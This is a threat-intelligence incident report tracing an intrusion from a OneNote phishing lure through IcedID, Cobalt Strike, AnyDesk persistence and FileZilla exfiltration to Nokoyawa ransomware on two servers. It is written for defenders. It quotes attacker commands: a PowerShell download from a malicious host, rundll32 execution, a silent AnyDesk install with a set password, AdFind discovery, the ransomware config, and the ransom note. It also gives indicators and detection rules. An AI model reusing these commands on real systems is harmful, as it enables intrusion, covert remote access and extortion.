THE DFIR REPORT

Real Intrusions by Real Attackers, The Truth Behind the Intrusion

adfind Exfiltrate Data icedid nokoyawa ransomware

From OneNote to RansomNote: An Ice Cold Intrusion

April 1, 2024

Key Takeaways

- In late February 2023, threat actors rode a wave of initial access using Microsoft OneNote files. In this case, we observed a threat actor deliver IcedID using this method.
- After loading IcedID and establishing persistence, there were no further actions, other than beaconing for over 30 days.
- The threat actor used Cobalt Strike and AnyDesk to target a file server and a backup server.
- The threat actor used FileZilla to exfiltrate data from the network before deploying Nokoyawa ransomware.

An audio version of this report can be found on Spotify, Apple, YouTube, Audible, & Amazon.

Please consider leaving feedback on this report here.

Services

We provide a range of services, one of which is our Threat Feed, specializing in monitoring Command and Control frameworks like Cobalt Strike, Metasploit, Sliver, Viper, Mythic, Havoc, Meterpreter, and more. For example, the Cobalt Strike server in this case was detected weeks before this intrusion started.

Another service we provide is Private Threat Briefs, which encompasses over 25 private reports annually. These reports follow a format similar to our public reports but are more concise in nature. In contrast to our public reports, these briefs are typically released shortly after an intrusion, sometimes even while the intrusion is still ongoing.

Our comprehensive “All Intel” service includes the Threat Feed, Private Threat Briefs, exploit events, long-term infrastructure tracking, clustering, Cobalt Strike configurations, C2 domains, and a curated collection of intelligence, which includes non-public case data.

Our Private Sigma Ruleset is exclusively curated using insights derived from Private Threat Briefs and internal cases, focusing on Sigma rules. As of January 2024, it encompasses approximately 100 Sigma rules, created from the knowledge of 40+ distinct cases. Each rule is mapped to ATT&CK and accompanied by a test example.

Contact us for a demo or free trial today!

Table of Contents:

Case Summary

This intrusion started in late February of 2023 and lasted through late March of 2023. The threat actor initially gained access through a phishing campaign, in which they distributed emails containing malicious OneNote attachments. During this period, OneNote files had surged in popularity among initial access brokers. This rise was primarily due to their capability to circumvent email attachment blocking rules and evade detection by existing security mechanisms.

Upon opening the malicious OneNote file and engaging with it, the file triggered the execution of a cmd file. This, in turn, launched PowerShell to facilitate the download of an IcedID DLL from a remote server. To evade detection, this DLL was disguised using various image file extensions. Following the execution of the downloaded DLL, a scheduled task was established to maintain persistence within the system. Notably, unlike prior IcedID infections, no discovery actions were observed at this time.

For the next 21 days, activity was limited to command and control beaconing with no other actions detected. On day 22, the standard IcedID discovery, using Microsoft tools like: net, nltest, chcp, and systeminfo, was observed. Beyond this, no further activity was noted.

On day 33 of the intrusion, the IcedID malware launched several Cobalt Strike beacons. These beacons, once active on the beachhead host, injected into numerous processes and initiated an Active Directory discovery operation. This operation used a batch script to execute a series of AdFind commands. Next, a PowerShell script was deployed to install AnyDesk. Following the installation, another batch script ran to relay the newly generated AnyDesk ID back to the threat actor.

The threat actor then connected to the host using AnyDesk and began browsing files. The account they were logged in as had elevated privileges, since the original user, who inadvertently activated the malware, was a member of the domain administrators group. Leveraging this access, they accessed LSASS on the host and proceeded with additional reconnaissance activities. These actions encompassed both command line queries, such as net, whoami, and route, as well as GUI based tools through the AnyDesk connection, including the use of Task Manager and the deployment of SoftPerfect Network Scanner (aka NetScan).

After getting a list of hosts, the threat actor created a batch file to run nslookup for all the identified hosts. While that was running, the threat actor browsed file shares, looking at various documents including password related documents. The threat actor then created a second batch script to run nslookup, this time targeting Windows servers specifically. Shortly after running this, the threat actor initiated their first lateral movement action, using RDP to connect to a backup server from their beachhead host.

On the backup server, they used Internet Explorer to download a Cobalt Strike beacon and then they executed it. Utilizing this beacon, they proceeded to deploy and execute an AnyDesk installer package, identical to the one observed on the initial compromised host. Next, they pivoted to a file server and performed the same actions. On the file server, they continued to review documents, including insurance related files.

The threat actor then opened Internet Explorer on the file server and proceeded to download FileZilla. Utilizing the FileZilla client, they established a SFTP connection to a remote server, initiating the data exfiltration process. This marked the beginning of a prolonged data exfiltration operation that spanned several hours. Apart from the ongoing data transfers, activity significantly decreased until it resumed the following day.

Approximately 18 hours after the initiation of the data exfiltration process, the threat actor deemed the activity complete and progressed to the next phase of their attack. They conducted another network scan utilizing NetScan. Roughly two and a half hours post-scan, they initiated the preparation for a ransomware delivery. Leveraging their AnyDesk connection on the file server, they reviewed both the Task Manager and the Local Group Policy Manager, before dropping a ransomware file on the host. Following this, they executed a batch script designed to launch the ransomware.

Following the execution of ransomware on the file server, the threat actor re-established their connection to the backup server, conducting similar checks via Task Manager and Local Group Policy Manager before dropping the ransomware file. Next, they introduced and executed IOBit's Unlocker utility, a move likely aimed at circumventing file locks imposed by the backup software. After using this tool, they followed the same batch script execution on this server as previously observed. After execution, they dropped and ran ProcessHacker and then proceeded to open the batch file in notepad++ before re-running the script and ransomware.

Approximately two hours after the initiation of the ransomware on the file server, the threat actor revisited the system through their AnyDesk connection. In this return visit, they uninstalled FileZilla, signaling a move to cover their tracks. Next, they re-executed the ransomware on the host, and then opened the ransom note on the server's desktop, verifying their objective was complete.

Following this action, no further activities were detected from the threat actor regarding the ransomware deployment, indicating a strategic decision to limit the attack's scope to these two critical servers rather than extending it across the entire network. From initial access to ransomware execution, we observed a Time to Ransomware (TTR) of 812 hours, just over 34 calendar days.

One interesting thing to note about the command and control domain for Cobalt Strike is it was seized by Microsoft, Fortra and Health-ISAC a few weeks after this intrusion. On April 6, 2023, the command and control domain changed DNS to Microsoft with a domain registration name of Digital Crimes Unit.

Please consider leaving feedback on this report here.

Analysts

Analysis and reporting completed by @iiamaleks, @IrishD34TH, and @Miixxedup

Initial Access

A widespread malicious email campaign that broadly targeted many companies in unrelated industries blasted generic lures with an attached OneNote file claiming to contain an unspecified "secure message." The campaign was documented in open-source threat intelligence by pr0xylife on their GitHub repository. The campaign ID used by threat actor was 3329953471, embedded in the configuration data in the IcedID DLL payload.

According to Proofpoint Threat Research, the campaign was not very large in message volume compared to other campaigns, with fewer than one thousand messages observed over two days, broadly targeting companies across Manufacturing, Technology, Energy, Retail, Insurance, and several other sectors. The threat actor behind the campaign used techniques similar to two tracked threat actors but did not provide enough unique attributes to strongly attribute the campaign to either one of them.

The OneNote file used to gain initial access in this case was not very sophisticated. A Windows batch file named "O p e n.cmd" was hidden behind a large button marked "Open" in the OneNote file with a blurred image of a document in the background and simple instructions in the foreground to double click the button.

Execution

The initial execution through the OneNote lure required the person who received the email attachment to open the OneNote file. After clicking through the warning prompt, the O p e n.cmd file executed PowerShell to download an IcedID DLL named as if it was a JPG file, then used rundll32 to execute the DLL, which immediately connected to command and control servers, checked in and started beaconing over unencrypted HTTP, triggering an Emerging Threats Open rule: ET MALWARE Win32/IcedID Request Cookie.

The earliest indicators that something suspicious occurred were the Sysmon events: File Created (Event ID 11) and File Stream Created (Event ID 15) that showed a .cmd file with the Mark of the Web was created by OneNote:

The metadata of the O p e n.cmd batch file can be found on VirusTotal, and the contents are shown below. It is a very simple batch script that uses basic obfuscation, but yet presents some easy detection opportunities in its behavior:

After de-obfuscating the batch file (or by observing the child processes created during dynamic analysis), the purpose of the script becomes clear.

```
powershell invoke-webrequest -uri http://mrassociattes.com/images/62.gif -ou
```

It uses PowerShell to download a payload file from a URL. The remote server request makes it look like it could be a GIF image that is being downloaded. The file is dropped to C:\programdata\ using a filename that looks like a JPEG image. The real filetype is actually a DLL:

The file was then run using rundll32.

```
rundll32 c:\programdata\COIm.jpg,init
```

Somewhat surprisingly, more than a month after initial access in the intrusion, after the threat actor had started interacting with the compromised machine using AnyDesk, they opened the OneNote file and double-clicked the Open button to launch IcedID again. We are unsure of the motivation of this action, but this represented another chance for defenders to respond if detections were in place.

Execution of Cobalt Strike Beacon

On the 33rd day of the intrusion, the IcedID malware was observed dropping several files.

These files were Cobalt Strike beacons, which were then executed via the IcedID malware. IcedID was running in rundll32.exe, which launched a DLL version of Cobalt Strike beacon from the user's AppData\Local\Temp directory using regsvr32.exe. The IcedID rundll32.exe process also launched an EXE version of a beacon named "Funa2.exe" from the same Temp directory.

During lateral movement activity, the threat actors deployed the same executable Cobalt Strike beacon as seen on the beachhead host. This time, they used the name csrss.exe and executed these using the RDP session. The files were downloaded onto the lateral hosts using Internet Explorer, then executed by clicking directly from the Internet Explorer download prompt or by double-clicking in File Explorer window.

Throughout the later stages of the intrusion the Cobalt Strike beacons used various named pipes.

One of the many effective ways to detect Cobalt Strike beacon in this intrusion was through the named pipes it created, which used the default naming patterns. These pipe creation events were observed with Sysmon.

A DLL version of the Cobalt Strike beacon was dropped on the beachhead host in the Local AppData Temp directory and executed with RegSvr32.exe, but that process did not create any named pipes.

The default Cobalt Strike pipes are (the "*" symbolize the prefix/suffix):

```
\postex_*
\postex_ssh_*
\status_*
\msagent_*
\MSSE-*
\*-server
```

More strategies for detecting Cobalt Strike can be found in Cobalt Strike, a Defender's Guide part 1 and part 2.

Persistence

During the initial execution of IcedID, the following two files were created under the AppData Roaming folder of the user that executed it:

- **Cadiak.dll**: IcedID first stage.
- **license.dat**: Encoded version of the second stage, which gets loaded into memory by the first stage.

A scheduled task was created that contained instructions for executing the IcedID DLL and the location of the license.dat file. This is a very common method that IcedID uses for persistence.

```
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/
  <RegistrationInfo>
    <URI>\azigci_{C747FFDF-F0E2-113B-8DCA-0ECA4EBB92A2}</URI>
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger id="LogonTrigger">
      <Enabled>true</Enabled>
      <UserId>[REDACTED]</UserId>
    </LogonTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <RunLevel>HighestAvailable</RunLevel>
      <UserId>[REDACTED]</UserId>
      <LogonType>InteractiveToken</LogonType>
    </Principal>
  </Principals>
  <Settings>
```

```
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>false</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <Duration>PT10M</Duration>
      <WaitTimeout>PT1H</WaitTimeout>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>rundll32.exe</Command>
      <Arguments>"C:\Users\[REDACTED]\AppData\Roaming\[REDACTED]\Cadiak.dll"
    </Exec>
  </Actions>
</Task>
```

The scheduled task was configured to execute at logon under the user that initially executed the IcedID payload.

Later in the intrusion, AnyDesk was installed with a command line option that established persistence, running when Windows starts by creating a Service:

```
C:\ProgramData\AnyDesk.exe --install C:\ProgramData\Any --start-with-win --s
```

During the deployment of AnyDesk, a service creation event was generated under the System channel:

Alerting on every service creation is usually far too noisy for any meaningful review by security operations personnel, but it can be very helpful to alert on specific patterns of remote monitoring and management (RMM) installation artifacts. There are many approaches for detecting RMM tools through resilient patterns of file paths or digital signatures. These legitimate tools may not trigger alerts in endpoint detection products by default, so it is important for security teams to create custom detections. As seen in various previous cases here at The DFIR Report, and also on other platforms, RMM tools provide a very easy way to get access to systems with interactive capabilities.

Privilege Escalation

The user account that opened the initial OneNote lure file was in the domain administrators security group. Usually, threat actors have to work to escalate to a domain admin from an unprivileged user account, but in this case, it was a given. This is an example of why it is a best practice for domain administrators to use separate accounts and a privileged workstation to perform administrative functions, while using a non-privileged user account to check email, browse the web, and open files from unknown sources when necessary.

Defense Evasion

Masquerading

One of the simpler ways that IcedID attempted to evade detection was by naming the malware DLL file as COlm.jpg. Renaming a DLL file extension to a commonly ignored graphics file type, such as jpg, gif, or png, is a simple example of Masquerading, MITRE Technique T1036.008, and represents an excellent opportunity for a custom detection.

The threat actor was observed using common Windows process names for other tooling used during the intrusion, including:

- `csrss.exe` for a Cobalt Strike beacon downloaded from `91.215.85[.]183/download/csrss.exe`
- `svchost.exe` for the ransomware payload deployed to systems.

Process Injection

Upon execution of a Cobalt Strike beacon, process injection into a `svchost.exe` process was observed. In this case, process injection was conducted by writing into a remote process and executing the code via a remote thread.

`svchost.exe` was subsequently observed executing multiple different commands related to discovery and enumeration.

Since the discovery commands involved executing scripts via `cmd.exe`, the anomalous parent child relationship between `svchost.exe` and `cmd.exe` was observed on the system from a memory dump.

Indicator Removal

FileZilla, installed by the threat actors for exfiltration activity, was observed being manually uninstalled by the threat actors during the final ransomware deployment period.

Credential Access

The threat actors extracted credentials from LSASS during the intrusion. The process started with a Cobalt Strike beacon process starting a new rundll32.exe child process, with no command line arguments, as SYSTEM. It is unusual for rundll32 to be executed without any command line, but it is a common pattern for Cobalt Strike beacon injection target processes. This makes a useful detection pattern. The rundll32 process also created a named pipe (Sysmon Event ID 17) with a pipe name that started with "\postex_" which is another well-known Cobalt Strike beacon artifact that can be detected. The newly spawned rundll32 process accessed the lsass.exe process, and then created a remote thread in lsass.exe. These events were recorded by Sysmon event IDs 8 and 10.

Event ID 10 had the following relevant fields, which may be useful for threat hunting or incident response:

```
Process accessed:
SourceImage: C:\Windows\system32\rundll32.exe
TargetImage: C:\Windows\system32\lsass.exe
GrantedAccess: 0x1FFFFF
CallTrace: C:\Windows\SYSTEM32\ntdll.dll+9d1e4|C:\Windows\System32\KERNELBAS
TargetUser: NT AUTHORITY\SYSTEM
```

Event ID 8 had the following relevant fields:

```
CreateRemoteThread detected:
SourceImage: C:\Windows\System32\rundll32.exe
TargetImage: C:\Windows\System32\lsass.exe
StartModule: -
StartFunction: -
TargetUser: NT AUTHORITY\SYSTEM
```

After accessing and injecting into LSASS, the threat actors began using another domain administrator account indicating successful credential access.

During file share browsing activity by the threat actors, we observed them finding and opening a document related to passwords for the environment.

Discovery

IcedID Discovery

IcedID was observed executing multiple discovery commands originating from `rundll32.exe` on the beachhead.

```
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct
ipconfig /all
systeminfo
net config workstation
nltest /domain_trusts
nltest /domain_trusts /all_trusts
net view /all /domain
net view /all
net group "Domain Admins" /domain
```

These host profiling commands in this order are typically seen from IcedID bots, and reverse engineering the IcedID binary shows that they are hard-coded (in encrypted strings) to be run when the bot receives a specific command from its command and control server. A published IcedID analysis report from Binary Defense describes the same commands observed, and a report from Walmart Global Tech details the algorithm to decrypt the command strings. In different IcedID samples, the commands may appear in a different order, but all versions contain nearly the same list of profiling commands. While alerting on any one of these commands by itself might result in too many false-positive alerts for security operations, a useful technique is to set up alerts when more than three or four of these commands are seen in a short time period on the same host. If the parent process is rundll32, regsvr32, or another high-risk process, the severity of the alert may be elevated.

Active Directory Enumeration

An `AD.bat` batch script and `AdFind.exe` were dropped onto the beachhead host from a process injected `svchost.exe` process.

The `AD.bat` script was subsequently executed, which initiated discovery of Active Directory via ADFind.

```
adfind.exe  -gcb -sc trustdmp
adfind.exe  -f "(objectcategory=group)"
adfind.exe  -subnets -f (objectCategory=subnet)
adfind.exe  -f (objectcategory=organizationalUnit)
adfind.exe  -f objectcategory=computer -csv name operatingSystem
adfind.exe  -f objectcategory=computer
adfind.exe  -f (objectcategory=person)
C:\Windows\system32\cmd.exe /c dir /s /b C:\Windows\system32\*htable.xsl
```

Nslookup Discovery

An injected process `svchost.exe` was observed dropping a `ns.bat` Batch script.

Execution of `ns.bat` initiated the execution of nslookup commands that attempted to resolve multiple desktop and server hostnames.

Later, a second `nsser.bat` script was observed executing multiple nslookup commands.

Port Scanning

SoftPerfect Network Scanner was used by the threat actor on multiple different systems under different directories.

NetScan was seen connecting to multiple ports, on multiple different IP addresses–an activity indicative of port scanning.

The following summarizes a list of ports that were scanned using NetScan.

Port	Purpose
53	DNS
80	HTTP
88	Kerberos
111	NFS, NIS, or any rpc-based service
135	Remote Procedure Call
137	NetBIOS
161	SNMP
389	LDAP

443	HTTPS
445	SMB
464	Used by the Kerberos authentication system
2049	NFS
3389	RDP
5353	Multicast DNS (mDNS) and DNS-SD

Hands on Discovery

During RDP sessions the threat actors were also observed opening Task Manager multiple times via the Start Menu, as indicated by the `/7` flag.

Other commands were observed being executed manually by the threat actors, either from Cobalt Strike beacons or in Windows cmd shells opened via the interactive AnyDesk or RDP sessions. Commands included:

```
C:\Windows\system32\cmd.exe /C net group "domain Admins" /domain
route print
whoami
```

Lateral Movement

RDP was used by the threat actors to move laterally from the beachhead to other servers in the environment. After connecting to each server with RDP, the threat actors took steps to deploy a

Cobalt Strike beacon, as well as AnyDesk on the system.

The Cobalt Strike payload was downloaded from `91.215.85[.]183/download/csrss.exe` via Internet Explorer.

The payload was then launched multiple times from the Downloads folder and also copied and executed from the Windows temporary folder.

In addition, the `INSTALL.ps1` script was dropped and executed by the Cobalt Strike beacon.

Collection

While the threat actors had spent significant time in the environment, there appeared to be some interest in certain documents. A concrete example is, directly after the threat actors accesses the file server with AnyDesk, they use `notepad++` to open a file related to the insurance policy of this victim.

On the beachhead, workstation files were opened with their ‘preferred’ option: Word for .docx, Excel for .xlsx and Internet Explorer for .pdf.

While it is not always easy to get a full list of files a threat actor had specifically accessed, this time it was logged well in process activity.

On other machines, there was apparent interest in certain files, mainly related to possible passwords, PII and other financial data.

Command and Control

The threat actors used three different ways to access the hosts within this network:

- IcedID
- Cobalt Strike

- AnyDesk

Below is an overview of each of the stages found during the intrusion.

IcedID

IcedID uses multiple staged domains to deliver parts of its functionality. The IcedID DLL running in the rundll32 process immediately connected to its command and control server on port 80, using domain name aerilaponawki[.]com, which resolved at the time to 193.149.129.131. The contents of this network connection matched a malware rule in the free Emerging Threats Open ruleset ET MALWARE Win32/IcedID Request Cookie.

The IcedID process also connected to two other command and control servers by domain name, but both of these connections used TLS over port 443, so it was not possible for the network sensor to observe as much content or match as many network detection rules as it would have with TLS termination or unencrypted traffic. The connection to klindriverfor[.]com (5.255.102.167) on port 443 repeated about once every 10 minutes for 12 days. The connection to alishaskainz[.]com (45.61.139.206) on port 443 also repeated about once every 10 minutes for 28 days.

Below table shows an overview and function of each domain:

IP	Port	Domain	Usage	ISP	Location
193.149.129.131	80	aerilaponawki[.]com	First callout and primary C2 IcedID	BLNWX	NL
5.255.102.167	443	klindriverfor[.]com	Additional C2 IcedID	The Infrastructure Group	NL
45.61.139.206	443	alishaskainz[.]com	Additional C2 IcedID	BL Networks GB	GB

5.255.105.55	443	halicopnow[.]com	Additonal C2 IcedID	The Infrastructure Group	NL

For each of the domains, an overview of the relevant rules that can be used (in combination) to look for IcedID behavior:

aerilaponawki[.]com:

- `ET MALWARE Win32/IcedID Request Cookie`

klindriverfor[.]com:

- `ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)`

alishaskainz[.]com:

- `ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)`

halicopnow[.]com:

- `ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)`

When looking for additional strange network connections, we can find these two gathered from a memory dump of the compromised systems. The connection from rundll32.exe is especially interesting and is related to our IcedID infection. It appears to be a different IP for one of the previously found command and control domains.

IP	Port	Domain	Usage	ISP	Location
162.33.178.40	443	alishaskainz[.]com	Additional C2 IcedID	BL Networks	GB

				GB	

Cobalt Strike

The Cobalt Strike beacons which were used during the intrusion were named:

- `agaloz.dll`
- `Funa2.exe / csrss.exe`

They contain a configuration to contact the below command and control server:

IP	Domain	Usage	ISP	Location
91.215.85.183	msc-mvc-updates[.]com	Cobalt Strike C2	Prospero Ooo	RU

Suricata reported hits for ‘Malleable’ profiles used by the Cobalt Strike beacon. These profiles are preconfigurable and are mostly used to ‘mimic’ known traffic of different applications, such as a mail client, chat client, or a JavaScript library. The rule that hits, can be seen in the first screenshot below.

The second screenshot shows the actual configured portion of the profile, which appears very similar to this “gmail” profile. Communication goes via the URI:

```
/_/scs/mail-static/_js/
```

The DFIR Report Threat Intel Team picked up this Cobalt Strike server on January 9th, 2023, weeks before the intrusion. On that day, the beacon profile resembled a freely available malleable C2 profile that mimics jquery.

The command and control server appears to have been in use through at least April 2024 with a different Cobalt Strike beacon reported to the Triage malware sandboxing service using the same gmail-like profile and remote IP as observed in this intrusion.

With that said, it appears Microsoft took over this domain on April 6, 2023 when DNS was switched from Cloudflare to MICROSOFTINTERNETSAFETY.NET and the domain started resolving to 20.69.178.82 (Microsoft).

We can see the registration information was updated (date showing last updated) as well:

We were also able to locate the complaint by Microsoft, Fortra and Health-ISAC to acquire this domain:

Here’s an outtake of the domain and registration information from the complaint.

According to The DFIR Report's Threat Intel Team, the IP was observed hosting Cobalt Strike through June 3, 2023.

After initial deployment, the threat actors downloaded additional beacons, all of which have a parent process of the executable called `Funa2.exe`. It appears that the .dll likely didn't work as expected, as five minutes later an .exe with the same name gets downloaded.

DLL download attempt:

Change to EXE download:

Shortly after, we find the first connection to the server using the malleable profile paths:

AnyDesk

During later stages of the intrusion, the threat actors deployed AnyDesk using a PowerShell script copied under `C:\ProgramData\INSTALL.ps1`. In addition, the copied PowerShell script was executed on multiple systems to facilitate the deployment of AnyDesk using the following commands:

```
mkdir "C:\ProgramData\Any"
# Download AnyDesk
$clnt = new-object System.Net.WebClient
$url = "http://download.anydesk.com/AnyDesk.exe"
$file = "C:\ProgramData\AnyDesk.exe"
$clnt.DownloadFile($url,$file)


cmd.exe /c C:\ProgramData\AnyDesk.exe --install C:\ProgramData\Any --sta


cmd.exe /c echo btc1000qwe123 | C:\ProgramData\Any\AnyDesk.exe --set-pas
```

```
    #net user AD "2020" /add
    #net localgroup Administrators InnLine /ADD
    #reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersic
```

This install script appears to be similar to the previously leaked powershell script used by Conti:

AnyDesk can be used, either as an installed service (as we can see above) or it can use a portable version. The differences and limitations are written on the official site of AnyDesk. As we are dealing with the 'installed' version, it will leave certain artifacts related to the installed version on the system. Multiple people have written about AnyDesk artifacts, such as Inversecos or TylerBrozek, which help a lot during the forensic process related to Anydesk artifacts.

For the `ad_svc.trace` we can find entries like this:

```
 info REDACTED       gsvc    6600   11452    26                  anynet.any_socket
 info REDACTED       gsvc    6600   11452    46                  anynet.any_socket
 info REDACTED       gsvc  10136   2256 2515                anynet.any_socket
 info REDACTED       gsvc  10136   2256 2515                anynet.any_socket
```

IP	Usage	ISP	Country	AnyDesk Client ID
152.89.196.49	AnyDesk Interactive	Starcrecium Limited	RU	485343132
185.29.9.162	AnyDesk Interactive	DataClub	SE	547283332

Exfiltration

After the threat actors gained access to a file server in the domain, they quickly prepared this machine for exfiltration. This was performed by downloading the Filezilla FTP client installer using internet explorer on the server. The threat actors were so kind to use the sponsored version, to bring some additional PUP’s as well:

Shortly after, the threat actors connected from the file server, using FileZilla, to 45.155.204.5 via SSH and key exchange can be observed in the network traffic:

IP	Usage	ISP	Country	SSH Info:
45.155.204.5	SSH for FileZilla	3NT Solutions LLP	RU	**Hash**: c561c2cdad206b6ed8469079e037e3f9 **Version**: ssh-2.0-filezilla_3.63.2.1

FileZilla *can* leave behind some nice forensics artifacts (if the installation is not removed). Writing in this blog by Artifast, a nice overview can be seen. In this case, we were able to recover part of the `.xml` files resulting in the below correlation between the network data and the host data. While each separate source was already a good finding on its own, this combination leaves less room for guessing.

Impact

Thirty-four days after the first infection, and about 28 hours after the beginning of hands-on activity, the threat actors proceeded to their final actions, deploying Nokayawa ransomware. The variant of Nokoyawa was similar to those we've already reported on.

As in most ransomware related cases, before actual deployment, the threat actors looked around to gather information related to backup functionality and systems. In this case, the threat actors moved around between a file server and a backup server, making and viewing configurations, dropping and 'debugging' the ransomware and finally cleaning up.

The threat actors started by using *mmc.exe* to look into the Local Group Policy by using *gpedit.msc.* Around 20 minutes later, the threat actors started executing the ransomware script on the file server.

The ransomware files, in this case `svchost.exe` and an 'automation' file `[REDACTED].1.bat`, were delivered via the AnyDesk sessions as parent process.

The batch script, `[REDACTED].1.bat`, launched the executable `svchost.exe` with a `--config` parameter, containing a base64 encoded string:

```
{
EXTENSION: "NOKONOKO",
NOTE_NAME: "NOKONOKO-readme.txt",
NOTE_CONTENT: "<BASE64 ENCODED NOTEBLOB>",
ECC_PUBLIC: "AHpyfaG1ftdE4NNQ0laC2825GOpTwUw5Y9+WEMkAAAC0Yd7VSOy7D5CxWhHH4pz
SKIP_DIRS: [
"windows",
"program files",
"program files (x86)",
"appdata",
"programdata",
"system volume information"
],
SKIP_EXTS: [
".exe",
".dll",
".ini",
".lnk",
".url"
],
ENCRYPT_NETWORK: true,
LOAD_HIDDEN_DRIVES: true,
DELETE_SHADOW: true
}
```

After the execution on the file server, the threat actors moved to the backup server, where they repeated their interest in the Group Policy. On the backup server, they also opened the server configuration. There appeared to be a problem, as there was some ‘file locking’ in place, likely preventing access. The threat actors tried to circumvent these ‘locks’ by utilizing a tool called IOBit. This tool is capable of removing file locks.

After this, the ransomware was deployed in the same manner as on the file server. However, there appeared to be a problem with the deployment. The threat actors started *ProcessHacker* and utilized *notepad++* to ***likely*** fix something related to the ransomware execution. This is based on the fact that, the threat actors executed the ransomware binary 11 times on the backup server and afterwards returned and executed the ransomware a second time on the file server.

After encrypting the back up server, the threat actors uninstalled the backup software using add/remove programs.

In addition, *notepad* was used to view the deployed ransom note after the final execution on the file server. The NOTE_CONTENT (from above base64 configuration) appears to be base64 encoded again and decoded gives the following ransom note:

```
Nokoyawa.

If you see this, your files have been successfully encrypted and stolen.
Don't try to search free decryption method.
It's impossible.
We are using symmetrical and asymmetric encryption.

ATTENTION:
        - Don't rename encrypted files.
        - Don't change encrypted files.
        - Don't use third party software.

You are risking irreversibly damaging the file by doing this.
If you manage to keep things quiet on your end, this will never be known to
To reach an agreement you have 48 hours to visit our Onion Website.
```

```
How to open Onion links:
        - Download TOR Browser from official website.
        - Open and enter this link:
                http://nokopay<REDACTED>
        - On the page you will see a chat with the Support.
        - Send your first message.

Don't waste your time.
Otherwise all your valuable and sensitive data will be leaked.
Our websites are full of companies that doubted the fact of the data breach
        - http://nokoleakb76znymx443veg4n6fytx6spck6pc7nkr4dvfuygpub6jsid.on
        - http://hl66646wtlp2naoqnhattngigjp5palgqmbwixepcjyq5i534acgqyad.on
        - http://snatchteam.top
```

The threat actors only deployed the ransomware on the two servers and did not perform a domain wide deployment. After the ransom of these two systems, the threat actor's activity ceased.

Please consider leaving feedback on this report here.

Timeline

Diamond Model

Indicators

Atomic

```
IcedID
mrassociattes[.]com (174.138.188.6)
aerilaponawki[.]com (193.149.129.131)
klindriverfor[.]com (5.255.102.167)
alishaskainz[.]com (dr)

Cobalt Strike
msc-mvc-updates[.]com (91.215.85.183)

FileZilla File Exfiltration
45.155.204.5
```

Computed

```
Contract_02_21_Copy#909.one
5f4d630ef00656726401b205ae4dc88f
aa8f2d6d98aa535e05685076ca02f781c2aa6464
9c337d27dab65fc3f4b88666338e13416f218ab75c4b5e37cc396241c225efe8

COIm.jpg
d1da347e78bf043e2dc61638e946c3da
d87a3c22771b1106a1a52d96df7b2944d93fa184
1ab812f7d829444dc703eeb02ea0a955ec839d5e2a9b619d44ac09a91135cad1

GET_ID.bat
a59a7916156c52f732b4c2e321facfe1
8c949a7769d16c285347f650ef2eedac01dc1805
eae2bce6341ff7059b9382bfa0e0daa337ea9948dd729c0c1e1ee9c11c1c0068

INSTALL.ps1
b1f5e4774aa79f643350218df61e33f6
f1e7994c6568f0182a60f64557c7793df5e550ed
b378c2aa759625de2ad1be2c4045381d7474b82df7eb47842dc194bb9a134f76

agaloz.dll
76a1f94ed6499b99d2cc500998846875
ca14d61bcf038cda45199f54c7c452ad262a7c88
d6127d614309acbf2a630fe3fb0fda8e4079dcf2045f91aa400d179751d425f7

csrss.exe/Funa2.exe
f927cd4f40c7a6dad769a8f9af771a8c
0fdfef7c9cc4305df81b006e898e1592aa822437
06bbb36baf63bc5cb14d7f097745955a4854a62fa3acef4d80c61b4fa002c542

svchost.exe
8800e6f1501f69a0a04ce709e9fa251c
72a1c9ea93d18309769d8be5cdb3daedf1cddcf5
3c9f4145e310f616bd5e36ca177a3f370edc13cf2d54bb87fe99972ecf3f09b4
```

Detections

Network

```
ET MALWARE Observed DNS Query to IcedID Domain (qoipaboni .com)
ET MALWARE Win32/IcedID Request Cookie
ET INFO Windows Powershell User-Agent Usage
ETPRO INFO HTTP Request with Lowercase accept Header Observed
ET MALWARE Cobalt Strike Malleable C2 (Unknown Profile)
ET SCAN Behavioral Unusual Port 1433 traffic Potential Scan or Infection
ET POLICY SMB2 NT Create AndX Request For an Executable File
ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection
ET POLICY HTTP traffic on port 443 (POST)
ET POLICY SMB2 NT Create AndX Request For a DLL File - Possible Lateral Move
ET SCAN Potential SSH Scan OUTBOUND
ET HUNTING Possible Powershell .ps1 Script Use Over SMB
ET POLICY SMB2 NT Create AndX Request For a Powershell .ps1 File
ET HUNTING Suspicious csrss.exe in URI
ET INFO Executable Download from dotted-quad Host
ET INFO Dotted Quad Host DLL Request
```

Sigma

Search rules on detection.fyi or sigmasearchengine.com

DFIR Public Rules Repo:

```
b26feb0b-8891-4e66-b2e7-ec91dc045d58 : AnyDesk Network
50046619-1037-49d7-91aa-54fc92923604 : AdFind Discovery
8a0d153f-b4e4-4ea7-9335-892dfbe17221 : NetScan Share Enumeration Write Acces
```

DFIR Private Rules:

```
baa9adf9-a01c-4c43-ac57-347b630bf69e : Default Cobalt Strike Named Pipes
a526e0c3-d53b-4d61-82a1-76d3d1358a30 : Silent Installation of AnyDesk RMM
b526e0c3-d53b-4d61-82a1-76d3d1358a31 : AnyDesk RMM Password Setup via Comman
624f1f33-ee38-4bbe-9f4a-088014e0c26b : IcedID Malware Execution Patterns
